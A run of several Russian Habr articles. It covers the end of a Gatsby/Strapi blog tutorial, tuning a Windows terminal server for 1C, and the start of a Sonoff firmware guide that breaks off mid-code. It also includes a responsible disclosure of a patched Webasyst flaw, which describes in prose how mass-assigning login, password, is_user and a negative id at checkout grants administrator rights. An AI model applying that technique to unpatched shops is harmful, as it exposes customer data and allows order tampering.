$ gatsby new blog
```
### ▍Запуск сервера Gatsby в режиме разработки
Перейдём в папку проекта:
```
$ cd blog
```
Запустим сервер:
```
$ gatsby develop
```
После этого посмотреть веб-сайт, созданный Gatsby, можно будет, перейдя по адресу <http://localhost:8000/>.
### ▍Установка плагина для работы с источником данных Strapi
Данные, которые являются основой статического сайта, могут поступать из разных источников. Например, это markdown-файлы, CSV-файлы, материалы из WordPress (работа с которыми возможна благодаря плагину JSON REST API), и так далее.
Для того чтобы Gatsby успешно делал свою работу, ему нужно уметь общаться с различными источниками данных. Поэтому у Gatsby существует особый слой — слой данных, основанный на [GraphQL](http://graphql.org/).
Для того, чтобы подключить Gatsby к источнику данных, требуется плагин, предназначенный для работы с этим источником данных. Такой плагин можно [разработать](https://www.gatsbyjs.org/docs/create-source-plugin) самостоятельно, либо [подобрать](https://www.gatsbyjs.org/docs/plugins) из уже существующих. В этом примере мы, в качестве источника данных, будем использовать Strapi, а значит, нам понадобится плагин источника данных для API, построенных с помощью Strapi. Мы уже разработали такой [плагин](https://github.com/strapi/gatsby-source-strapi).
Установим его:
```
$ npm install --save gatsby-source-strapi
```
Этот плагин нуждается в некоторой настройке. Замените содержимое файла `gatsby-config.js` на следующее:
```
module.exports = {
siteMetadata: {
title: `Gatsby Default Starter`,
},
plugins: [
`gatsby-plugin-react-helmet`,
{
resolve: `gatsby-source-strapi`,
options: {
apiURL: `http://localhost:1337`,
contentTypes: [ // Список типов контента, которые планируется запрашивать из Gatsby.
`article`,
`user`
]
},
},
],
}
```
Теперь перезапустите сервер для того, чтобы позволить Gatsby воспринять изменения.
### ▍Список статей
Для начала нам хочется вывести список статей. Для того чтобы это сделать, добавьте следующее содержимое в существующий файл домашней страницы `src/pages/index.js`:
```
import React from 'react'
import Link from 'gatsby-link'
const IndexPage = ({ data }) => (
Hi people
=========
Welcome to your new Gatsby site.
Now go build something great.
{data.allStrapiArticle.edges.map(document => (
* {document.node.title}
----------------------------------
{document.node.content}
))}
Go to page 2
)
export default IndexPage
export const pageQuery = graphql`
query IndexQuery {
allStrapiArticle {
edges {
node {
id
title
content
}
}
}
}
`
```
В конце файла мы экспортируем `pageQuery` — запрос GraphQL, который позволяет получить полный список статей. Как видите, нам нужны лишь поля `id`, `title` и `content`, и GraphQL позволяет получить именно то, что нам нужно.
Затем мы передаём деструктурированный объект `{ data }` как параметр `IndexPage` и, для получения выводимых данных, перебираем его поле `allStrapiArticles`.
Для того, чтобы упростить разработку запросов GraphQL, можно воспользоваться соответствующим интерфейсом Gatsby. [Взгляните на него](http://localhost:8000/___graphql) и попробуйте создать несколько запросов.
### ▍Страница просмотра статьи
Теперь то, что мы делаем, уже похоже на блог, и это хорошо. Однако одной важной вещи всё ещё не хватает: страницы просмотра статьи.
Создадим шаблон, содержащий запрос GraphQL и зададим отображаемое содержимое. Делать это будем в файле `src/templates/article.js`:
```
import React from 'react'
import Link from 'gatsby-link'
const ArticleTemplate = ({ data }) => (
{data.strapiArticle.title}
==========================
by {data.strapiArticle.author.username}
{data.strapiArticle.content}
)
export default ArticleTemplate
export const query = graphql`
query ArticleTemplate($id: String!) {
strapiArticle(id: {eq: $id}) {
title
content
author {
id
username
}
}
}
`
```
Смотрится хорошо, но в данный момент Gatsby не знает, когда нужно выводить этот шаблон. Для каждой статьи нужен собственный URL. Сообщим Gatsby о новых URL с помощью [функции](https://www.gatsbyjs.org/docs/creating-and-modifying-pages) [createPage](https://www.gatsbyjs.org/docs/creating-and-modifying-pages).
Для того чтобы это сделать, создадим новую функцию, которая называется `makeRequest` и используется для выполнения запроса GraphQL. Затем мы экспортируем функцию, которая называется `createPage`, в которой мы получаем список статей и создаём страницу для каждой из них. Делается это всё в файле `gatsby-node.js`. Вот что у нас получилось:
```
const path = require(`path`);
const makeRequest = (graphql, request) => new Promise((resolve, reject) => {
// Запрос для получения данных, используемых при создании страниц.
resolve(
graphql(request).then(result => {
if (result.errors) {
reject(result.errors)
}
return result;
})
)
});
// Реализация функции Gatsby API "createPages". Она вызывается один раз когда
// уровень данных готовится к работе для того, чтобы позволить плагину создать из этих данных страницы
exports.createPages = ({ boundActionCreators, graphql }) => {
const { createPage } = boundActionCreators;
const getArticles = makeRequest(graphql, `
{
allStrapiArticle {
edges {
node {
id
}
}
}
}
`).then(result => {
// Создаём страницы для каждой статьи
result.data.allStrapiArticle.edges.forEach(({ node }) => {
createPage({
path: `/${node.id}`,
component: path.resolve(`src/templates/article.js`),
context: {
id: node.id,
},
})
})
});
// Запрашиваем материалы статей для использования при создании страниц.
return getArticles;
};
```
Перезапустите сервер Gatsby. Теперь ссылки на статьи должны оказаться рабочими, щелчки по ним будут открывать страницы статей.
### ▍Страница автора
Статьи пишут авторы. Они заслуживают отдельной страницы. Процесс по созданию страницы автора очень похож на процесс создания страницы статьи. Для начала создадим шаблон в файле `src/templates/user.js`:
```
import React from 'react'
import Link from 'gatsby-link'
const UserTemplate = ({ data }) => (
{data.strapiUser.username}
==========================
{data.strapiUser.articles.map(article => (
* {article.title}
----------------------------
{article.content}
))}
)
export default UserTemplate
export const query = graphql`
query UserTemplate($id: String!) {
strapiUser(id: { eq: $id }) {
id
username
articles {
id
title
content
}
}
}
`
```
Теперь обновим файл `gatsby-node.js` для создания соответствующих ссылок:
```
const path = require(`path`);
const makeRequest = (graphql, request) => new Promise((resolve, reject) => {
// Запрос для получения данных, используемых при создании страниц.
resolve(
graphql(request).then(result => {
if (result.errors) {
reject(result.errors)
}
return result;
})
)
});
// Реализация функции Gatsby API "createPages". Она вызывается один раз когда
// уровень данных готовится к работе для того, чтобы позволить плагину создать из этих данных страницы
exports.createPages = ({ boundActionCreators, graphql }) => {
const { createPage } = boundActionCreators;
const getArticles = makeRequest(graphql, `
{
allStrapiArticle {
edges {
node {
id
}
}
}
}
`).then(result => {
// Создаём страницы для каждой статьи.
result.data.allStrapiArticle.edges.forEach(({ node }) => {
createPage({
path: `/${node.id}`,
component: path.resolve(`src/templates/article.js`),
context: {
id: node.id,
},
})
})
});
const getAuthors = makeRequest(graphql, `
{
allStrapiUser {
edges {
node {
id
}
}
}
}
`).then(result => {
// Создаём страницы для каждого пользователя.
result.data.allStrapiUser.edges.forEach(({ node }) => {
createPage({
path: `/authors/${node.id}`,
component: path.resolve(`src/templates/user.js`),
context: {
id: node.id,
},
})
})
});
// Запросы материалов статей и данных авторов для использования при создании страниц.
return Promise.all([
getArticles,
getAuthors,
])
};
```
И наконец, перезагрузим сервер и посетим страницу автора, перейдя на неё со страницы просмотра статьи по соответствующей ссылке.
Итоги
-----
Примите поздравления! Только что вы успешно создали невероятно быстрый и простой в управлении блог! Так как управлением содержимым занимается Strapi, авторы могут писать статьи с помощью приятного интерфейса, а разработчику остаётся лишь периодически перестраивать блог для обновления его содержимого.
Что делать дальше?
Вы вполне можете продолжить работу над этим проектом для того, чтобы изучить полезные возможности Gatsby и Strapi. Сюда можно добавить список авторов, категории статей, систему комментирования на базе Strapi API или Disqus. Кроме того, вы можете, пользуясь предложенной здесь методикой, создавать и другие веб-сайты (интернет-магазины, корпоративные сайты, и так далее).
Когда ваш проект будет готов к работе, вы, возможно, захотите выложить его в интернет. Веб-проекты, сгенерированные Gatsby, можно [публиковать](https://www.gatsbyjs.org/docs/deploy-gatsby/), пользуясь средствами сервисов для размещения статических сайтов, таких, как Netlify, S3/Cloudfront, страницы GitHub, страницы GitLab, Heroku, и так далее. API Strapi — это система, основанная на Node.js, поэтому оно может быть развёрнуто на базе Heroku или с используемой любой виртуальной машины Linux с установленным на ней Node.js.
Полную версию кода, который мы тут разбирали, можно найти на [GitHub](https://github.com/strapi/strapi-examples/tree/master/gatsby-strapi-tutorial). Для того, чтобы увидеть то, что тут создано, в действии, клонируйте репозиторий, выполните команду `npm run setup`, запустите сервер Strapi (перейдите в папку `api` и выполните команду `strapi start`) и сервер Gatsby (перейдите в папку `blog` и выполните команду `npm run develop`).
**Уважаемые читатели!** Как вы создаёте статические веб-сайты? Планируете ли вы использовать связку Gatsby-Strapi в своих проектах?
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/348068/ | null | ru | null |
# Как взломать более 17 000 сайтов за одну ночь
Эта история о том, как я нашел уязвимость в фреймворке Webasyst и, в частности, в ecommerce-движке Shop-Script 7.
Все началось с того, что вечером я решил приобрести мерч русскогоязычного рэп-исполнителя. После оплаты мне пришло письмо, содержащее ссылку на детали моего заказа:
> Просмотр информации о заказе:
>
> [https://o\*\*\*yshop.com/my/order/21311/9fe684d6508769ef213111ed917d1cce94088/](#)
>
> PIN: 3302
*(примечание: ID заказа был видоизменен для публикации)*
В глаза сразу бросился идентификатор заказа, встречающийся в середине строки хеша:
9fe684d6508769ef**21311**1ed917d1cce94088
Мне стало интересно, как генерируется эта строка, а для этого нужно было взглянуть на исходники движка. Изучив html source страницы, я узнал какой движок используется в магазине, а немного погуглив нашел где его [скачать](http://www.shop-script.ru/platform/download/).
Изучаем исходники
-----------------
Оказалось, что данная строка генерируется случайно и никакой закономерности не прослеживается. Но волею случая, пока я искал функцию отвечающую за этот хеш, я наткнулся на довольно любопытные участки кода.
*wa-system/contact/waContact.class.php*
**Функция save($data, $validate) — осторожно, много кода!**
```
/**
* Saves contact's data to database.
*
* @param array $data Associative array of contact property values.
* @param bool $validate Flag requiring to validate property values. Defaults to false.
* @return int|array Zero, if saved successfully, or array of error messages otherwise
*/
public function save($data = array(), $validate = false)
{
$add = array();
foreach ($data as $key => $value) {
if (strpos($key, '.')) {
$key_parts = explode('.', $key);
$f = waContactFields::get($key_parts[0]);
if ($f) {
$key = $key_parts[0];
if ($key_parts[1] && $f->isExt()) {
// add next field
$add[$key] = true;
if (is_array($value)) {
if (!isset($value['value'])) {
$value = array('ext' => $key_parts[1], 'value' => $value);
}
} else {
$value = array('ext' => $key_parts[1], 'value' => $value);
}
}
}
} else {
$f = waContactFields::get($key);
}
if ($f) {
$this->data[$key] = $f->set($this, $value, array(), isset($add[$key]) ? true : false);
} else {
if ($key == 'password') {
$value = self::getPasswordHash($value);
}
$this->data[$key] = $value;
}
}
$this->data['name'] = $this->get('name');
$this->data['firstname'] = $this->get('firstname');
$this->data['is_company'] = $this->get('is_company');
if ($this->id && isset($this->data['is_user'])) {
$c = new waContact($this->id);
$is_user = $c['is_user'];
$log_model = new waLogModel();
if ($this->data['is_user'] == '-1' && $is_user != '-1') {
$log_model->add('access_disable', null, $this->id, wa()->getUser()->getId());
} else if ($this->data['is_user'] != '-1' && $is_user == '-1') {
$log_model->add('access_enable', null, $this->id, wa()->getUser()->getId());
}
}
$save = array();
$errors = array();
$contact_model = new waContactModel();
foreach ($this->data as $field => $value) {
if ($field == 'login') {
$f = new waContactStringField('login', _ws('Login'), array('unique' => true, 'storage' => 'info'));
} else {
$f = waContactFields::get($field, $this['is_company'] ? 'company' : 'person');
}
if ($f) {
if ($f->isMulti() && !is_array($value)) {
$value = array($value);
}
if ($f->isMulti()) {
foreach ($value as &$val) {
if (is_string($val)) {
$val = trim($val);
} else if (isset($val['value']) && is_string($val['value'])) {
$val['value'] = trim($val['value']);
} else if ($f instanceof waContactCompositeField && isset($val['data']) && is_array($val['data'])) {
foreach ($val['data'] as &$v) {
if (is_string($v)) {
$v = trim($v);
}
}
unset($v);
}
}
unset($val);
} else {
if (is_string($value)) {
$value = trim($value);
} else if (isset($value['value']) && is_string($value['value'])) {
$value['value'] = trim($value['value']);
} else if ($f instanceof waContactCompositeField && isset($value['data']) && is_array($value['data'])) {
foreach ($value['data'] as &$v) {
if (is_string($v)) {
$v = trim($v);
}
}
unset($v);
}
}
if ($validate !== 42) { // this deep dark magic is used when merging contacts
if ($validate) {
if ($e = $f->validate($value, $this->id)) {
$errors[$f->getId()] = $e;
}
} elseif ($f->isUnique()) { // validate unique
if ($e = $f->validateUnique($value, $this->id)) {
$errors[$f->getId()] = $e;
}
}
}
if (!$errors && $f->getStorage()) {
$save[$f->getStorage()->getType()][$field] = $f->prepareSave($value, $this);
}
} elseif ($contact_model->fieldExists($field)) {
$save['waContactInfoStorage'][$field] = $value;
} else {
$save['waContactDataStorage'][$field] = $value;
}
}
// Returns errors
if ($errors) {
return $errors;
}
$is_add = false;
// Saving to all storages
try {
if (!$this->id) {
$is_add = true;
$storage = 'waContactInfoStorage';
if (wa()->getEnv() == 'frontend') {
if ($ref = waRequest::cookie('referer')) {
$save['waContactDataStorage']['referer'] = $ref;
$save['waContactDataStorage']['referer_host'] = parse_url($ref, PHP_URL_HOST);
}
if ($utm = waRequest::cookie('utm')) {
$utm = json_decode($utm, true);
if ($utm && is_array($utm)) {
foreach ($utm as $k => $v) {
$save['waContactDataStorage']['utm_'.$k] = $v;
}
}
}
}
$this->id = waContactFields::getStorage($storage)->set($this, $save[$storage]);
unset($save[$storage]);
}
foreach ($save as $storage => $storage_data) {
waContactFields::getStorage($storage)->set($this, $storage_data);
}
$this->data = array();
$this->removeCache();
$this->clearDisabledFields();
wa()->event(array('contacts', 'save'), $this);
} catch (Exception $e) {
// remove created contact
if ($is_add && $this->id) {
$this->delete();
$this->id = null;
}
$errors['name'][] = $e->getMessage();
}
return $errors ? $errors : 0;
}
```
Параметр $data содержит данные в формате *‘название поля’ => ‘значение поля’*, в функции я не заметил защиты от [Mass Assignment](https://cwe.mitre.org/data/definitions/915.html), но не исключал, что фильтрация аргумента происходит до вызова самой функции. Мне стало лениво просматривать все места в коде, где вызывается save() и я решил проверить теорию экспериментальным путем.
Установив на локалку движок, первым делом я решил посмотреть структуру таблицы `wa\_contact`.
**Структура таблицы `wa\_contact`**
Чтобы пользователь имел доступ к админ-панели (в движке она называется «бэкэндом») у покупателя должны быть заданы поля `login`, `password`, а поле `is\_user` должно быть равно 1.
Тестируем
---------
Добавляем товар в корзину, переходим на страницу оформления заказа, заполняем стандартные поля… и самое время добавить новые:
Отправляем запрос, пробуем зайти с нашими данными в админку (/wa/webasyst/). Авторизация проходит успешно, но… страница админки совершенно пустая: у нас нет никаких прав. Судорожно ищу поле в таблице, отвечающее за права доступа и понимаю, что такого поля нет, а все права как и подобает вынесены в отдельную таблицу.
Я уже почти смирился с фиаско, пока не заметил, что таблица `wa\_contact\_rights` содержит права для пользователей по id и для групп по id со знаком минус. В голову сразу же пришла идея присвоить нашему пользователю отрицательный id, тем самым получив права группы. Сказано – сделано, меняем customer[id] на -1 по аналогии с тем, как мы меняли остальные параметры ранее. Опять авторизуемся в админке и получаем все права, которые доступны группе «Администраторы».
Что имеем в итоге
-----------------
Уязвимость, позволяющую на любом сайте на этом фреймворке, в любом интернет-магазине на этом движке получить полные права администратора, которые в свою очередь позволяют, например, получить конфединциальную информацию обо всех заказах и покупателях, менять статус заказов (скажем, помечать их оплаченными) и просто изменять настройки веб-сайта.
Условий для использования уязвимости нет, она работает и при отключенной регистрации на сайте (в действительности при оформлении заказа регистрация все же происходит).
По данным PublicWWW более 17 000 сайтов используют [данный фреймворк](https://publicwww.com/websites/%2B%22%2Fwa-data%2Fpublic%2F%22/).
Об уязвимости было сообщено более двух месяцев назад, сайты обновились и никто не пострадал.
Хронология событий:
8 августа, 22:30 – купил футболку
9 августа, 08:00 – сообщил об уязвимости Webasyst, прикрепил видео с Proof of Concept
9 августа, 13:00 – получил подтверждение от службы поддержки
14 августа – получил вознаграждение, уязвимость [была закрыта](https://github.com/webasyst/webasyst-framework/commit/c6b96ab96720361f6144df7bf26b943a808e3e98)
11 сентября – получил добро на публикацию данной статьи | https://habr.com/ru/post/340066/ | null | ru | null |
# Установка и настройка терминального сервера на Windows Server + Оптимизация настроек для 1С ч.3
Предисловие
-----------
Наконец то я смог перебороть свою лень и написать третью часть. По итогу мы имеем настроенный терминальный сервер, с разграниченными доступами к данным и списками разрешенных программ. В данной части закончим тонкую настройку рабочих столов пользователей, как и обещал рассмотрим Установку, Настройку, и оптимизацию 1С, а так же разграничение доступа к БД. Приступим.
#### Очищаем рабочий стол от лишних ярлыков
Создадим Групповую политику с названием "Очистить рабочий стол" и свяжем ее с подразделением в котором расположены пользователи нашего сервера
Зададим параметры политики > Конфигурация пользователя > политики > административные шаблоны > Меню Пуск и панель задач там находим Скрыть общие группы программ в меню "Пуск"
в результате будут очищены все ярлыки с рабочего стола пользователя. теперь заполним его тем что нам нужно
#### Размещаем на рабочем столе пользователя необходимые ярлыки приложений
Создадим Групповую политику с названием "Публикация ярлыков" и свяжем ее с подразделением в котором расположены пользователи нашего сервера
Зададим параметры политики > Конфигурация пользователя > политики > Настройка > Конфигурация Windows > Ярлыки > ПКМ создать > ярлык
Заполняем открывшуюся форму, Данные можно скопировать с существующего ярлыка, нажав по нему ПКМ и выбрав свойства, в поле "Размещение" выбираем Рабочий стол
В результате на рабочем столе пользователя останутся только заданные нами ярлыки приложений, чтобы не совращать пытливые умы морем возможностей куда ткнуть.
#### Очищаем содержимое Меню ПУСК и задаем начальный макет
Создадим Групповую политику с названием "Настройка Меню Пуск" и свяжем ее с подразделением в котором расположены пользователи нашего сервера
Зададим параметры политики > Конфигурация пользователя > политики > административные шаблоны > Меню Пуск и панель задач > выбираем "Очистка списка недавно использовавшихся программ для новых пользователей" и переводим параметр в состояние Включена
Там же находим политику макет начального экрана, так же ее включим и укажем путь где мы в дальнейшем разместим файл макета
#### Создадим макет
Заходим на наш сервер под **локальным администратором и** настройте вручную нужный вид макета начального экрана, после чего запускаем PowerShell под правами администратора и выполняем команду **Export-StartLayout -Path d:\123.xml** где в параметре path указываем путь который мы задали ранее в политике
В результате мы имеем полностью готовые к работе рабочие места для сотрудников компании
#### Оптимизация 1С
*Включаем высокую производительность*
Так как 1с любит работать на 1м ядре то крайне зависима от производительности этого ядра, от сюда и такая любовь к высокочастотным процессорам.
идем Пуск > панель управления > оборудование > электропитание > выбираем высокая производительность
*Отключаем DFSS для нормальной работы 1С*
В ОС Windows Server 2012 бывает полезно выключать службу Dynamic Fair Share Scheduling (DFSS позволяет балансировать и распределять ресурсы между пользователями) чтобы повысить производительность 1С:Преприятие 8 в ряде случаев. На момент написания заметки платформа может неудачно взаимодействовать с Dynamic Fair Share Scheduling. Одним из таких признаков может быть долгое открытие конфигуратора в терминальном сервере. Предположительно эта служба Dynamic Fair Share Scheduling думает что 1С:Предприятие потенциально окажет негативное влияния сессией текущего пользователя, захватившего большое количество вычислительных ресурсов, на сессии других пользователей. Служба старается «предотвратить» чрезмерное использования например дисков одним пользователем, пытаясь организовать равномерное распределение дисковых операций I/O между сессиями.
Чтобы выключить балансировку ресурсов надо выполнить следующие шаги:
Шаг первый. Определить что служба включена, для этого открываем PowerShell и запускаем команду:
**(gwmi win32\_terminalservicesetting -N "root\cimv2\terminalservices").enabledfss**
1 — включено, 0 — выключено.
Если получаем 0, то дополнительно действий не требуется.
Шаг второй. Если предыдущий шаг вернул 1, то продолжаем. После чего открываем реестр windows (regedit) и меняем в следующих ветках некоторые значения: **\*1. HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Quota System параметр EnableCpuQuota на 0.**
**2. HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Services\TSFairShare\Disk параметр EnableFairShare на 0. Этот параметр особенно сильно влияет.**
После этого конфигуратор может открываться значительно быстрее в терминальном сервере. В реально произошедшем в нашей практике случае скорость открытия конфигурации с 40 секунд изменилась до 10 секунд (при наличии кэша конфигурации)
Для этого выполним команды
```
Set-Itemproperty -Path Registry::"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Quota System\" -name EnableCpuQuota -Value 0
```
```
Set-Itemproperty -Path Registry::"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TSFairShare\Disk\" -name EnableFairShare -Value 0
```
после чего проверим
```
Get-Itemproperty -Path Registry::"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Quota System\" -name EnableCpuQuota
```
```
Get-Itemproperty -Path Registry::"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TSFairShare\Disk\" -name EnableFairShare
```
Результатом должен вернуться 0
Это 2 основных пункта которые влияют на производительность 1с, осталось нам научиться понимать где узкое горлышко производительности
**Отключаем ненужные службы**
Откроем командную строку под правами администратора и выполним следующие комманды
`sc config Themes start=disabled`
`sc Stop Themes`
`sc config` WSearch`start=disabled`
`sc Stop` WSearch
`sc config` CscService`start=disabled`
`sc Stop` CscService
### Анализатор соответствия рекомендациям
Для некоторых серверных ролей Windows (в частности, терминальных) существует база успешных конфигураций. Придерживаясь советам данной базы можно повысить надежность и стабильность системы.
Для сервера удаленных рабочих столов, как правило, необходимо выполнить следующие рекомендации:
**Оптимизируем настройку SMB протокола**
Для этого запустим Powershell под администратором и выполним следующие команды
`Set-SmbServerConfiguration -Smb2CreditsMin 128`
`Set-SmbServerConfiguration -Smb2CreditsMax 2048`
`Set-SmbServerConfiguration -AsynchronousCredits 64`
`Set-SmbServerConfiguration -CachedOpenLimit 5`
`Set-SmbServerConfiguration -DurableHandleV2TimeoutInSeconds 30`
`Set-SmbServerConfiguration -AutoDisconnectTimeout 0`
`Set-SmbServerConfiguration -DurableHandleV2TimeoutInSeconds 30`
**Srv.sys должен быть настроен на запуск по требованию.**
Запустим CMD под администратором
`sc config srv start=demand`
**Создание коротких имен файлов должно быть отключено**
`fsutil 8dot3name set 1`
#### Мониторинг Загрузки сервера
в работе сервера с 1с как показала практика основным показателем является средняя длина очереди диска и загрузка ЦП
*Смотрим очередь диска*
Заходим Управление компьютером > Производительность > Средства наблюдения > Системный монитор > Добавить > выбираем "Физический диск" > средняя длина очереди диска > выбираем диск на котором лежат базы
Нормальным режимом работы является очередь не превышающая значения 1, все что выше уже будут заметны подтормаживания, при значениях выше 2.5 работа в 1 с становится не комфортной.
За данным параметром крайне важно следить так как высокая очередь на диск тянет за собой высокую загрузку ЦП (которому приходится ждать пока диск ответит)
Вот полезная ссылка от другого автора, но материал очень полезный <https://habr.com/ru/post/556296/>
**Свободное место на разделе где хранятся файловые базы 1С**
В том случае если базы данных хранится на другом сервере, например файловом, важно следить чтобы размер файла подкачки не превышал объём свободного места на этом логическом диске, в тот момент когда это произойдет скорость работы 1с упадет в несколько раз
#### Формирование списка баз 1С, для пользователей
Будем использовать уже заезженный метод формирования списка на основе NTFS прав, но внедрим немного своего
первым делом определимся с местом где будут лежать файлы запуска БД 1С и укажем путь до этого места, пусть это будет d:\access\1cestart.cfg
Откроем файл C:\ProgramData\1C\1CEStart\1cestart.cfg
и добавим в конец файла строку "CommonCfgLocation=d:\access\1cestart.cfg" после чего сохраним
[Далее нам необходимо скачать powershell script отсюда](https://github.com/fiverok/psscripts/blob/main/Create_folder_db_1c.ps1)
на 160 строке указываем путь до расположения файловых баз 1с
на 163 задаем путь до подразделения домена в котором будут лежать у вас группы безопасности доступа к БД
после чего можем запустить скрипт и создать каталог для нашей базы 1С, После чего останется только положить БД в данный каталог и добавить пользователей в группу доступа 1с
**На этом настройку терминального сервера 1с, можно считать законченно, как итог мы имеем сервер готовый к приему клиентов** | https://habr.com/ru/post/560652/ | null | ru | null |
# Пишем свою прошивку для модулей Sonoff TH10/16
Недавно на Geektimes был [обзор про модули ITEAD TH10](https://geektimes.ru/company/coolrf/blog/281410/). Хочу поделиться опытом разработки собственной прошивки для этих устройств.
[SONOFF — серия выключателей, розеток и других приборов категории «Интернета вещей» от компании ITEAD](https://www.itead.cc/wiki/Sonoff_Smart_Home_Solution). Их характеризует довольно низкая цена, использование «народного WiFi модуля» ESP8266 и работа в собственном сервисе, расположенном в облаке Amazon AWS global server.
Для этих модулей есть сторонние прошивки. Например, [MQTT OTA, собираемой с ESP SDK](https://github.com/arendst/Sonoff-MQTT-OTA) или [тоже самое но в среде Arduino IDE](https://github.com/arendst/Sonoff-MQTT-OTA-Arduino)
Я хочу поделиться опытом создания собственной прошивки на Sonnoff в среде Ardiono IDE.
Модули Sonoff мне понравились сразу. Начиная от упаковки:
Внешнего вида:
Качественной сборки и пайки:
И заканчивая [проработанной схемотехникой](https://www.itead.cc/wiki/images/3/39/Sonoff_TH10A%2816A%29_schmatic.pdf), в которой явно не пожалели транзисторов для управления нагрузкой, подтягивающих и согласующих резисторов и кондеров.
Поддержкой же и документацией своих устройств компания ITEAD может заткнуть за пояс многих именитых производителей, не утруждающих себя публикацией технических подробностей на свои железки. Да и [список продуктов компании ITEAD вполне впечатляет](https://www.itead.cc/wiki/Product)
По сути своей Sonoof TH10/16- это ESP8266 с сетевым блоком питания, периферией в виде реле, светодиодов, датчиков температуры и влажности, с колодкой подключения и в приличном корпусе.
Я опущу описание, как подключить Sonoff к облачному сервису и управлять приложением eWeLink на смартфоне. На мой взгляд, полностью неприменимо, когда управление контроллерами зависит от интернета и учетной записи в каком то облаке, пусть и на амазоновских серверах. Поэтому оставим приложение eWeLink для демонстрации возможности Sonoff и напишем свою управляющую программу.
Для этого нужно впаять 4-х штырьковый разъем для подключение к USB/TTL конвертеру.
Имея негативный опыт перепрошивки Sonoff POW, очень рекомендую все работы по программированию проводить с отключенной силовой частью Sonoff и питанием через штырек 3.3В.
Последний USB/TTL у меня героически погиб вместе с модулем Sonoff POW, поэтому использую для подключения Arduino UNO с RESETот подтянутым к земле. 3.3-вольтовый стабилизатор Уны отлично справляется с нагрузкой в виде ESP8266 и всей периферии модуля.
Как среду разработки буду использовать Arduino IDE и за легкости установки и обилия готовых библиотек и примеров, хотя как программист со стажем по прежнему считаю, что для разработки программ любой сложности вполне достаточно **VI** и **make** ))).
Как устанавливать ESP8266 Cire for Arduiono IDE посвящено много материалов в интернете. От себя хочу рекомендовать [версию Arduino IDE 1.6.5](https://www.arduino.cc/en/Main/OldSoftwareReleases#previous), как имеющую меньше всего глюков при работе с ESP.
Так как на плате установлена микросхема памяти на 1Мбайт, выбираем соответствующую конфигурацию при загрузке в Board Manager:
Теперь достаточно нажать кнопку контроллера Sonoff и передернуть питание, устройство переходит в режим загрузки прошивки.
Для того чтобы самому программировать контроллер, нужно понимать, к каким портам что подключено. Для этого можно воспользоваться схемой на сайте ITEAD, ссылку на которую я приводил выше и тестером.
Итак, что мы имеем:
> GPIO0 — кнопка (это понятно, когда мы включали бутлоадер)
>
> GPIO12 — красный светодиод и реле
>
> GPIO13 — синий светодиод
>
> GPIO14 и GPIO4 выведены на разъем подключения датчиков.
Причем оба датчика однопроводные и используют GPIO14. GPIO4 еще нужно включить перемычкой на плате.
Да. Не густо, хотя и больше чем у ESP01.
GPIO2 и GPIO15 имеют подтягивающие резисторы на плате, можно подпаяться к ним. GPIO5 и ADC вообще никуда не распаяны и нужно подключаться прямо к микросхеме ESP. Оставим эти четыре вывода в покое и приступим к программированию.
**Скетч мигания светодиодами на sonoff**
```
/**
* Прошивка SONOFF TH10/16
* Copyright 2016 Алексей Шихарбеев
* http://samopal.pro
*/
#include
uint8\_t PIN\_RELAY = 12;
uint8\_t PIN\_LED2 = 13;
void setup() {
pinMode(PIN\_RELAY,OUTPUT);
pinMode(PIN\_LED2, OUTPUT);
}
```
Светодиоды работают в противофазе. Синий загорается, когда на нем низкий уровень. Реле срабатывать не должно из за отсутствия питания 5В. В дальнейшем я буду использовать синий светодиод для отображения различных режимов. [Подробно про это я написал в этой статье](https://geektimes.ru/post/270592/)
На кнопке я подробно останавливаться не буду. Да управления кнопками я написал удобную библиотеку, которая отлавливает длинное и короткое нажатие, автоповторение при длинном нажатии и давит дребезг контактов. [Все это я подробно описал в своем блоге](http://samopal.pro/arduino-button-2/).
Теперь сенсоры. Мне прислали датчик температуры/влажности AM2301 и датчик температуры DS18B20 в водонепроницаемом исполнении.
AM2301 совместим с сенсором DHT21. Для его работы нужна библиотека DHT. Форков библиотеки DHT существует великое множество, я рекомендую брать [версию от Adafruit в которой есть автонастройка на частоту контроллера и которая корректно работает на ESP8266](https://github.com/adafruit/DHT-sensor-library).
**Скетч работы с сенсором AM2301**
```
/**
* Прошивка SONOFF TH10/16
* Copyright 2016 Алексей Шихарбеев
* http://samopal.pro
*/
#include
// DHT от Adafruit
// https://github.com/adafruit/DHT-sensor-library
#include
uint8\_t PIN\_DHT = 14;
DHT dht(PIN\_DHT, AM2301);
void setup() {
// Последовательный порт для отладки
Serial.begin(115200);
Serial.printf("DHT init ...");
dht.begin();
}
void loop() {
delay(1000);
Serial.print("Temperature=");
Serial.print(dht.readTemperature(),1);
Serial.println(" C");
Serial.print("Humidity=");
Serial.print(dht.readHumidity(),0);
Serial.println("%");
}
```
Для подключения DS18B20 нужна библиотека OneWire. Полностью совместима с ESP [мультиплатформенная версия этой библиотеки](https://github.com/PaulStoffregen/OneWire)
Алгоритм опроса датчика берем из примера:
**Скетч работы с сенсором DS18B20**
```
/**
* Прошивка SONOFF TH10/16
* Copyright 2016 Алексей Шихарбеев
* http://samopal.pro
*/
#include
// Мультиплатформенная библиотека
// https://github.com/PaulStoffregen/OneWire
#include
#define ERROR\_VALUE 2147483647
float GetDS18X20();
uint8\_t PIN\_DS = 14;
OneWire ds(PIN\_DS);
void setup() {
// Последовательный порт для отладки
Serial.begin(115200);
Serial.printf("DS18B20 init ...");
}
void loop() {
delay(1000);
float t = GetDS18X20();
if( t!= ERROR\_VALUE ){
Serial.print("Temperature=");
Serial.print(t,1);
Serial.println(" C");
}
}
/\*\*
\* Опрос датчика температуры
\*/
float GetDS18X20(){
byte i;
byte present = 0;
byte type\_s;
byte data[12];
byte addr[8];
float celsius;
if ( !ds.search(addr)) {
// Serial.println("DS18B20: No more addresses.");
ds.reset\_search();
delay(250);
return ERROR\_VALUE;
}
if (OneWire::crc8(addr, 7) != addr[7]) {
// Serial.println("DS1820: CRC is not valid!");
return ERROR\_VALUE;
}
// the first ROM byte indicates which chip
switch (addr[0]) {
case 0x10:
type\_s = 1;
break;
case 0x28:
type\_s = 0;
